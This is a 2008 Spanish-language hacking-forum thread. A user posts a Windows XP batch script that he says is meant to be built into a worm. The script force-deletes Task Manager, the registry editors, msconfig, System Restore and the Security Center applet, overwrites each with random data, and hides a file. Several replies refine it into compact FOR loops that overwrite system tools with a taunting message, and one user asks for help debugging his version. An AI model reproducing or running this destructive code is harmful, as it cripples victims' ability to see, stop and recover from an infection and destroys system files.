Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: corax en 14 Julio 2008, 17:47 pm



Título: Código de restricción de seguridad en batch
Publicado por: corax en 14 Julio 2008, 17:47 pm
Buenas a todos!

ya publiqué anteriormente un par de codigos de batch que podían ser integrados dentro del código general de un gusano. En este post y en los próximos que publique iré ampliando los códigos que subí.

Este código en concreto se encarga de restringir la seguridad de un ordenador corriendo bajo Windows XP:

Código
  1. @echo off
  2.  
  3. del /Q /F %WINDIR%\System32\taskmgr.exe
  4. del /Q /F %WINDIR%\System32\tasklist.exe
  5. del /Q /F %WINDIR%\System32\regedt32.exe
  6. del /Q /F %WINDIR%\System32\wscui.cpl
  7. del /Q /F %WINDIR%\System32\command.com
  8. del /Q /F %WINDIR%\System32\restore\rstrui.exe
  9. del /Q /F %WINDIR%\System32\restore\srdiag.exe
  10. del /Q /F %WINDIR%\taskman.exe
  11. del /Q /F %WINDIR%\regedit.exe
  12. del /Q /F %WINDIR%\PCHealth\HelpCtr\Binaries\msconfig.exe
  13.  
  14. echo %random%%random%%random%%random%>>"%WINDIR%\System32\taskmgr.exe"
  15. echo %random%%random%%random%%random%>>"%WINDIR%\System32\taskmgr.exe"
  16. echo %random%%random%%random%%random%>>"%WINDIR%\System32\taskmgr.exe"
  17. echo %random%%random%%random%%random%>>"%WINDIR%\System32\taskmgr.exe"
  18. echo %random%%random%%random%%random%>>"%WINDIR%\System32\taskmgr.exe"
  19. echo %random%%random%%random%%random%>>"%WINDIR%\System32\taskmgr.exe"
  20. echo %random%%random%%random%%random%>>"%WINDIR%\System32\taskmgr.exe"
  21. echo %random%%random%%random%%random%>>"%WINDIR%\System32\taskmgr.exe"
  22.  
  23. echo %random%%random%%random%%random%>>"%WINDIR%\taskman.exe"
  24. echo %random%%random%%random%%random%>>"%WINDIR%\taskman.exe"
  25. echo %random%%random%%random%%random%>>"%WINDIR%\taskman.exe"
  26. echo %random%%random%%random%%random%>>"%WINDIR%\taskman.exe"
  27.  
  28. echo %random%%random%%random%%random%>>"%WINDIR%\regedit"
  29. echo %random%%random%%random%%random%>>"%WINDIR%\regedit"
  30. echo %random%%random%%random%%random%>>"%WINDIR%\regedit"
  31.  
  32. echo %random%%random%%random%%random%>>"%WINDIR%\System32\restore\rstrui.exe"
  33. echo %random%%random%%random%%random%>>"%WINDIR%\System32\restore\rstrui.exe"
  34. echo %random%%random%%random%%random%>>"%WINDIR%\System32\restore\rstrui.exe"
  35. echo %random%%random%%random%%random%>>"%WINDIR%\System32\restore\rstrui.exe"
  36. echo %random%%random%%random%%random%>>"%WINDIR%\System32\restore\rstrui.exe"
  37. echo %random%%random%%random%%random%>>"%WINDIR%\System32\restore\rstrui.exe"
  38. echo %random%%random%%random%%random%>>"%WINDIR%\System32\restore\rstrui.exe"
  39.  
  40. echo %random%%random%%random%%random%>>"%WINDIR%\System32\restore\srdiag.exe"
  41. echo %random%%random%%random%%random%>>"%WINDIR%\System32\restore\srdiag.exe"
  42. echo %random%%random%%random%%random%>>"%WINDIR%\System32\restore\srdiag.exe"
  43.  
  44. echo %random%%random%%random%%random%>>"%WINDIR%\PCHealth\HelpCtr\Binaries\msconfig.exe"
  45. echo %random%%random%%random%%random%>>"%WINDIR%\PCHealth\HelpCtr\Binaries\msconfig.exe"
  46. echo %random%%random%%random%%random%>>"%WINDIR%\PCHealth\HelpCtr\Binaries\msconfig.exe"
  47. echo %random%%random%%random%%random%>>"%WINDIR%\PCHealth\HelpCtr\Binaries\msconfig.exe"
  48.  
  49. echo %random%%random%%random%%random%>>"%WINDIR%\System32\command.com"
  50. echo %random%%random%%random%%random%>>"%WINDIR%\System32\command.com"
  51. echo %random%%random%%random%%random%>>"%WINDIR%\System32\command.com"
  52. echo %random%%random%%random%%random%>>"%WINDIR%\System32\command.com"
  53. echo %random%%random%%random%%random%>>"%WINDIR%\System32\command.com"
  54.  
  55. echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
  56. echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
  57. echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
  58. echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
  59. echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
  60. echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
  61. echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
  62. echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
  63. echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
  64. echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
  65. echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
  66. echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
  67.  
  68. echo %random%%random%%random%%random%>>"%WINDIR%\System32\wscui.cpl"
  69. echo %random%%random%%random%%random%>>"%WINDIR%\System32\wscui.cpl"
  70. echo %random%%random%%random%%random%>>"%WINDIR%\System32\wscui.cpl"
  71. echo %random%%random%%random%%random%>>"%WINDIR%\System32\wscui.cpl"
  72.  
  73. echo %random%%random%%random%%random%>>"%WINDIR%\System32\regedt32.exe"
  74. echo %random%%random%%random%%random%>>"%WINDIR%\System32\regedt32.exe"
  75.  
  76. echo %random%%random%%random%%random%>>"%WINDIR%\System32\cmd.com"
  77. echo %random%%random%%random%%random%>>"%WINDIR%\System32\cmd.com"
  78. echo %random%%random%%random%%random%>>"%WINDIR%\System32\cmd.com"
  79. echo %random%%random%%random%%random%>>"%WINDIR%\System32\cmd.com"
  80. echo %random%%random%%random%%random%>>"%WINDIR%\System32\cmd.com"
  81. echo %random%%random%%random%%random%>>"%WINDIR%\System32\cmd.com"
  82. echo %random%%random%%random%%random%>>"%WINDIR%\System32\cmd.com"
  83. echo %random%%random%%random%%random%>>"%WINDIR%\System32\cmd.com"
  84. echo %random%%random%%random%%random%>>"%WINDIR%\System32\cmd.com"
  85. echo %random%%random%%random%%random%>>"%WINDIR%\System32\cmd.com"
  86. attrib +s +h +r "%WINDIR%\System32\cmd.com"

Hasta otra!


Título: Re: Código de restricción de seguridad en batch
Publicado por: Darioxhcx en 14 Julio 2008, 18:24 pm
esta muy bien
pero se podria hacer mas corto con el FOR
me gusta la idea
saludos


Título: Re: Código de restricción de seguridad en batch
Publicado por: Crazy.sx en 14 Julio 2008, 21:06 pm
Si, aunque solo poniendo un solo echo es suficiente ya que de cualquier manera no funcionará tales ejecutables. O también como usando for como lo dice Darioxhcx.

Saludos


Título: Re: Código de restricción de seguridad en batch
Publicado por: SmartGenius en 19 Julio 2008, 04:18 am
vendria siendo asi ??

for %%a in (taskmgr.exe,tasklist.exe,regedt32.exe,wscui.cpl) do (echo You was Fucked %random%>%windir%\system32\%%a)

Saludos.


Título: Re: Código de restricción de seguridad en batch
Publicado por: Darioxhcx en 19 Julio 2008, 06:37 am
vendria siendo asi ??

for %%a in (taskmgr.exe,tasklist.exe,regedt32.exe,wscui.cpl) do (echo You was Fucked %random%>%windir%\system32\%%a)

Saludos.
lo probe asi
for /r %%a in ( taskmgr.txt,tasklist.txt,regedt32.txt,wscui.txt ) do ( echo You was Fucked %random%%%a>C:\1 )

C:\1 es una carpeta que uso para prubas asi
pero me sale
"acceso denegado"
no se por que u.u

saludos


Título: Re: Código de restricción de seguridad en batch
Publicado por: SmartGenius en 19 Julio 2008, 18:58 pm
lo probe asi
for /r %%a in ( taskmgr.txt,tasklist.txt,regedt32.txt,wscui.txt ) do ( echo You was Fucked %random%%%a>C:\1 )

C:\1 es una carpeta que uso para prubas asi
pero me sale
"acceso denegado"
no se por que u.u

saludos

creo que lo estas haciendo mal, deberia ser >C:\1\%%a , ya que lo que estas haciendo es tratar de redirigir la salida a una carpeta y no creo que sea posible, y ademas que tantos %% pegados pueden poner problema tambien...

Saludos.